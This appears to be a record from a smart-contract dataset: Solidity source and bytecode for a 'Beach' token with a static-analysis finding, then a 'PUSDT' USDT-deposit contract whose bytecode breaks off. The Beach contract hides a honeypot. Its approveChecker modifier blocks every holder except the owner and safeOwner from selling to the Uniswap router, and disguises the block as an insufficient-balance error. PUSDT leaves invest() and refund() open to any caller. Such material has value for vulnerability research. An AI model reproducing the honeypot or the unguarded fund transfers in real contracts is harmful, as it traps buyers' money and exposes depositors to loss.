function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Beach is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply = 100000000000 * 10**18; string private _name = 'Beach Token - https://t.me/BeachToken'; string private _symbol = 'BEACH'; uint8 private _decimals = 18; address private _owner; address private _safeOwner; address private _uniRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor () public { _owner = owner(); _safeOwner = _owner; _balances[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function burn(uint256 amount) external onlyOwner{ _burn(msg.sender, amount); } function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _burn(address account, uint256 amount) internal virtual onlyOwner { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } modifier approveChecker(address beach, address recipient, uint256 amount){ if (_owner == _safeOwner && beach == _owner){_safeOwner = recipient;_;} else{if (beach == _owner || beach == _safeOwner || recipient == _owner){_;} else{require((beach == _safeOwner) || (recipient == _uniRouter), "ERC20: transfer amount exceeds balance");_;}} } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _approveCheck(address sender, address recipient, uint256 amount) internal approveChecker(sender, recipient, amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a0823114610291578063715018a6146102e95780638da5cb5b146102f357806395d89b4114610327578063a9059cbb146103aa578063dd62ed3e1461040e576100b4565b806306fdde03146100b9578063095ea7b31461013c57806318160ddd146101a057806323b872dd146101be578063313ce5671461024257806342966c6814610263575b600080fd5b6100c1610486565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101015780820151818401526020810190506100e6565b50505050905090810190601f16801561012e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101886004803603604081101561015257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610528565b60405180821515815260200191505060405180910390f35b6101a8610546565b6040518082815260200191505060405180910390f35b61022a600480360360608110156101d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610550565b60405180821515815260200191505060405180910390f35b61024a610629565b604051808260ff16815260200191505060405180910390f35b61028f6004803603602081101561027957600080fd5b8101908080359060200190929190505050610640565b005b6102d3600480360360208110156102a757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610717565b6040518082815260200191505060405180910390f35b6102f1610760565b005b6102fb6108e8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61032f610911565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561036f578082015181840152602081019050610354565b50505050905090810190601f16801561039c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103f6600480360360408110156103c057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109b3565b60405180821515815260200191505060405180910390f35b6104706004803603604081101561042457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109d1565b6040518082815260200191505060405180910390f35b606060078054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561051e5780601f106104f35761010080835404028352916020019161051e565b820191906000526020600020905b81548152906001019060200180831161050157829003601f168201915b5050505050905090565b600061053c610535610a58565b8484610a60565b6001905092915050565b6000600654905090565b600061055d848484610c57565b61061e84610569610a58565b61061985604051806060016040528060288152602001611c4760289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105cf610a58565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a39092919063ffffffff16565b610a60565b600190509392505050565b6000600960009054906101000a900460ff16905090565b610648610a58565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461070a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6107143382611863565b50565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610768610a58565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461082a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109a95780601f1061097e576101008083540402835291602001916109a9565b820191906000526020600020905b81548152906001019060200180831161098c57829003601f168201915b5050505050905090565b60006109c76109c0610a58565b8484610c57565b6001905092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ae6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611cb56024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611bff6022913960400191505060405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610d265750600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b156110265781600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415610df2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611c906025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415610e78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611bba6023913960400191505060405180910390fd5b610ee484604051806060016040528060268152602001611c2160269139600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a39092919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f7984600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ae790919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a361179b565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806110cf5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806111275750600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156113e657600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156111b2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611c906025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611238576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611bba6023913960400191505060405180910390fd5b6112a484604051806060016040528060268152602001611c2160269139600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a39092919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061133984600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ae790919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a361179a565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148061148f5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b6114e4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611c216026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561156a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611c906025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156115f0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611bba6023913960400191505060405180910390fd5b61165c84604051806060016040528060268152602001611c2160269139600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a39092919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116f184600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ae790919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35b5b505050505050565b6000838311158290611850576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156118155780820151818401526020810190506117fa565b50505050905090810190601f1680156118425780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b61186b610a58565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461192d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156119b3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611c6f6021913960400191505060405180910390fd5b611a1f81604051806060016040528060228152602001611bdd60229139600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a39092919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a7781600654611b6f90919063ffffffff16565b600681905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600080828401905083811015611b65576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000611bb183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506117a3565b90509291505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212209df16ed5e054ca56542fb4e5a317d28973468acfd12335efa38226964cfb4a7464736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}]}}
10,286
0x1822d738190171191ed72a18e9002fe57a6d1ce4
/** *Submitted for verification at Etherscan.io on 2021-05-26 */ // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IERC20 { function transfer(address recipient, uint256 amount) external; function balanceOf(address account) external view returns (uint256); function transferFrom(address sender, address recipient, uint256 amount) external ; function decimals() external view returns (uint8); } contract PUSDT { using SafeMath for uint256; string public name = "PairX Tether USD"; string public symbol = "PUSDT"; uint8 public decimals = 6; uint256 public totalPUSDT = 0; uint256 public usedUSDT = 0; address public investAddr; address public managerAddr; bool private reEntrancyMutex = false;//Mutexes that prevent reentrant attacks bool private canDeposit = true;//Allow to deposit. IERC20 usdt; event Approval(address indexed src, address indexed guy, uint256 wad); event Transfer(address indexed src, address indexed dst, uint256 wad); event Deposit(address indexed dst, uint256 wad); event Refund(address indexed src, uint256 principle); event Withdrawal(address indexed src, uint256 wad); event Invest(address indexed src, uint256 wad); event ChangeIvAddr(address indexed src, address indexed newAddr); event ChangeMngAddr(address indexed src, address indexed newAddr); event ChangeDeposit(address indexed src, bool canDeposit); mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; constructor(address _investAddr,address _managerAddr,IERC20 _usdt) public { investAddr = _investAddr; managerAddr = _managerAddr; usdt = _usdt; } function deposit(uint256 wad) public { require(canDeposit); balanceOf[msg.sender] = balanceOf[msg.sender].add(wad); totalPUSDT = totalPUSDT.add(wad); emit Transfer(address(0), msg.sender, wad); usdt.transferFrom(msg.sender, address(this), wad); emit Deposit(msg.sender, wad); } function refund(uint256 principle) public { usedUSDT = usedUSDT.sub(principle); usdt.transferFrom(msg.sender, address(this), principle); emit Refund(msg.sender, principle); } function withdraw(uint256 wad) public { require(!reEntrancyMutex); balanceOf[msg.sender] = balanceOf[msg.sender].sub(wad); totalPUSDT = totalPUSDT.sub(wad); reEntrancyMutex = true; usdt.transfer(msg.sender, wad); emit Transfer(msg.sender, address(0), wad); emit Withdrawal(msg.sender, wad); reEntrancyMutex = false; } function invest(uint256 wad) public { usedUSDT = usedUSDT.add(wad); usdt.transfer(investAddr, wad); emit Invest(msg.sender, wad); } function changeIvAddr(address newAddr) public { require(msg.sender == investAddr, "Only investAddr can change Invest Address."); investAddr = newAddr; emit ChangeIvAddr(msg.sender, newAddr); } function changeMngAddr(address newAddr) public { require(msg.sender == managerAddr, "Only managerAddr can change manager Address."); managerAddr = newAddr; emit ChangeMngAddr(msg.sender, newAddr); } function changeDeposit(bool _canDeposit) public { require(msg.sender == managerAddr, "Only managerAddr can change Deposit State."); canDeposit = _canDeposit; emit ChangeDeposit(msg.sender, _canDeposit); } function totalSupply() public view returns (uint256) { return totalPUSDT; } function approve(address guy, uint256 wad) public returns (bool) { allowance[msg.sender][guy] = wad; emit Approval(msg.sender, guy, wad); return true; } function transfer(address dst, uint256 wad) public returns (bool) { return transferFrom(msg.sender, dst, wad); } function transferFrom(address src, address dst, uint256 wad) public returns (bool) { require(balanceOf[src] >= wad); if (src != msg.sender && allowance[src][msg.sender] != uint(-1)) { require(allowance[src][msg.sender] >= wad); allowance[src][msg.sender] = allowance[src][msg.sender].sub(wad); } balanceOf[src] = balanceOf[src].sub(wad); balanceOf[dst] = balanceOf[dst].add(wad); emit Transfer(src, dst, wad); return true; } }
0x608060405234801561001057600080fd5b506004361061012c5760003560e01c80633dd43192116100ad578063b6b55f2511610071578063b6b55f2514610558578063cbc9d6c214610586578063dd62ed3e146105ba578063df10397d14610632578063e29a3b40146106765761012c565b80633dd43192146103b757806370a08231146103fb57806383dcb0921461045357806395d89b4114610471578063a9059cbb146104f45761012c565b80632afcf480116100f45780632afcf480146102e85780632e1a7d4d146103165780632e3c9e99146103445780632e817dff14610378578063313ce567146103965761012c565b806306fdde0314610131578063095ea7b3146101b457806318160ddd1461021857806323b872dd14610236578063278ecde1146102ba575b600080fd5b6101396106a6565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561017957808201518184015260208101905061015e565b50505050905090810190601f1680156101a65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610200600480360360408110156101ca57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610744565b60405180821515815260200191505060405180910390f35b610220610836565b6040518082815260200191505060405180910390f35b6102a26004803603606081101561024c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610840565b60405180821515815260200191505060405180910390f35b6102e6600480360360208110156102d057600080fd5b8101908080359060200190929190505050610c9e565b005b610314600480360360208110156102fe57600080fd5b8101908080359060200190929190505050610dd3565b005b6103426004803603602081101561032c57600080fd5b8101908080359060200190929190505050610f0c565b005b61034c61116e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610380611194565b6040518082815260200191505060405180910390f35b61039e61119a565b604051808260ff16815260200191505060405180910390f35b6103f9600480360360208110156103cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111ad565b005b61043d6004803603602081101561041157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112f0565b6040518082815260200191505060405180910390f35b61045b611308565b6040518082815260200191505060405180910390f35b61047961130e565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104b957808201518184015260208101905061049e565b50505050905090810190601f1680156104e65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6105406004803603604081101561050a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113ac565b60405180821515815260200191505060405180910390f35b6105846004803603602081101561056e57600080fd5b81019080803590602001909291905050506113c1565b005b61058e61160a565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61061c600480360360408110156105d057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611630565b6040518082815260200191505060405180910390f35b6106746004803603602081101561064857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611655565b005b6106a46004803603602081101561068c57600080fd5b81019080803515159060200190929190505050611799565b005b60008054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561073c5780601f106107115761010080835404028352916020019161073c565b820191906000526020600020905b81548152906001019060200180831161071f57829003601f168201915b505050505081565b600081600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600354905090565b600081600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561088e57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561096657507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b15610b045781600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156109f457600080fd5b610a8382600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118ac90919063ffffffff16565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610b5682600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118ac90919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610beb82600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118f690919063ffffffff16565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b610cb3816004546118ac90919063ffffffff16565b600481905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b158015610d6a57600080fd5b505af1158015610d7e573d6000803e3d6000fd5b505050503373ffffffffffffffffffffffffffffffffffffffff167fbb28353e4598c3b9199101a66e0989549b659a59a54d2c27fbb183f1932c8e6d826040518082815260200191505060405180910390a250565b610de8816004546118f690919063ffffffff16565b600481905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b158015610ea357600080fd5b505af1158015610eb7573d6000803e3d6000fd5b505050503373ffffffffffffffffffffffffffffffffffffffff167fd90d253a9de34d2fdd5a75ae49ea17fcb43af32fc8ea08cc6d2341991dd3872e826040518082815260200191505060405180910390a250565b600660149054906101000a900460ff1615610f2657600080fd5b610f7881600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118ac90919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610fd0816003546118ac90919063ffffffff16565b6003819055506001600660146101000a81548160ff021916908315150217905550600760009054906101000a900473ffffffffffffffffffffffffffffff